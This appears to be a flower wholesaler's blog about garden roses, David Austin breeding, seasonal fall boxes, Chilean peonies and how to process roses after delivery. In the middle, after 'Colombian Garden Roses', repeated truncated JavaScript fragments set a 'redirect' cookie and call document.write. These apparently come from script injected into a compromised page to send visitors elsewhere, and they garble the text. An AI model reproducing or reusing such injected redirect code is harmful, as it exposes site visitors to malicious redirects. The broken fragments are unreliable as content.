garden roses

Garden roses are highly regarded especially in the floral industry. Their charming nostalgic appeal and exquisite fragrance is irresistible making it a popular choice for wedding floral designs. Due to the high demand and lengthy production process, garden roses are expensive and considered a luxury flower.

There are many misconceptions about the true characteristics of a garden rose. Not every variety is fragrant, cup-shaped or wavy. What truly defines a garden rose? Any rose plant that can survive a winter frost. Garden roses are very delicate and must be handled with care. They have plenty of small, sharp thorns. Depending on the variety, garden roses can last an average of 7 to 10 days.

Virgin Farms Garden Roses

David Austin History
Back in the 1960s, David Austin began crossing roses. He wanted to achieve the fragrance of the old roses with the appearance and color variations of the modern roses. At first, they were bred as shrubs and climbing roses for garden enthusiasts. It was not until the year 2000 that the company began to produce garden roses for the cut flower industry. In 2008, the first roses were introduced into the market. The company began distributing in small quantities, and eventually grew to offering 150,000 stems per week all over the world.

Breeding New Varieties
The David Austin company has a team of hybridizers that focus on crossing roses to create new varieties. Each flower is monitored and tested to meet specific characteristics.

Cut Rose Standards:
Must remain beautiful at all stages
Fragrant
Purity of color
Perfection of form

The odds of a successful breed for mass market distribution is 100,000 to 1. It takes years to create a new variety. Out of 200 plants grown in the trial fields, only five or six are selected.

Our partner growers, Alexandra Farms, located in Colombia, is licensed to grow David Austin varieties. All garden roses are hand-cut and hand-graded. Virgin Farms is proud to be a wholesale distributor of high-quality varieties.

Suggest varieties for Flower Fact Friday! Leave a comment below, and include the name of the flower you would like to learn about.

There’s something wholesome about the fall season. The changing foliage, the crisp air, the warm shades of nature—dormant, yet vivacious all at once. This quarter is one of the most abundant in varieties throughout the floral year. Our flowers come from all over the world, which allows us to bring the most unique flowers to make your floral creations stand out. You will be seeing euphorbia, hypericum, kangaroopaws, crocosmia, sunflowers, and other varieties throughout the season.

Novelty Fall Pom Box

Every year this specialty box is highly anticipated among floral designers. It is the perfect representation of autumn, including daisies, spider mums, cushions, disbuds and pom poms in gold, bronze, orange and rusty red. The box is available every week from September 26th through November 21st, 2016. If you love them so much, you can set up a standing order to receive a box every week.

Novelty Fall Pom Box

Peony Season From Chile 

Every designer, and every bride loves peonies. Luckily for both parties, these austere blooms are in season from November until early January. Every variety has a rotation cycle, meaning certain varieties become available at different points throughout the peony season. Ask our floral experts to provide a chart with approximate rotation dates and variety names.

Chilean Peony Season

Weekly Garden Roses 

Although garden roses are in season year round, there are some varieties we suggest for your floral designs within the fall color palette. Romantic Antike and Caramel Antike are both cup-shaped garden roses, for a classic and traditional look for centerpieces. The auburn and golden yellow color would combine beautifully with fruits and earthy foliage. Red Piano also has a nostalgic cup-shaped head with side shoots that give it a hand-picked aesthetic. In the yellow palette, we recommend Lemon Pom Pom and Catalina. For a sophisticated floral arrangement, David Austin varieties up the ante and we love Edith with its light fragrance and also the ruffly-edged buttercream rose, Beatrice. Visit our garden rose gallery to browse all of our varieties.

Garden Rose Collage

Virgin Farms Direct provides a weekly supply of fresh garden roses directly from Colombia. We have popular varieties including the highly sought David Austin luxury cut roses. Access our garden rose posters for reference. Each poster has photos of each variety and indicated the vase life and fragrance intensity of the garden rose.

David Austin Luxury Roses
Colombian Garden Roses  ){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘ ){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘ ){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘ ){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘ ){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘ ){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; 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Garden roses are quite delicate. With the proper care and handling you can maximize the vase life. Our partners at Alexandra Farms have provided a useful chart listing steps to process your garden roses upon receiving them.

It is important to remove the inner cardboard, but keep the plastic sleeve on to protect the flowers. Cut the garden roses and place them in flower food. For everyday floral arrangements, your garden roses are ready to use after a few hours of hydration. For event work and special occasions, you should hydrate the roses three to four hours in a cooler. Next, place them at room temperature–this is to achieve the desired bloom stage. Once you are content with the bloom, place them back in the cooler to preserve the roses until you are ready to design.

Visit our garden rose catalog to browse our garden rose varieties. We have a weekly supply of fresh cut garden roses, including the David Austin varieties. Contact our account managers for more information.

Processing Garden Roses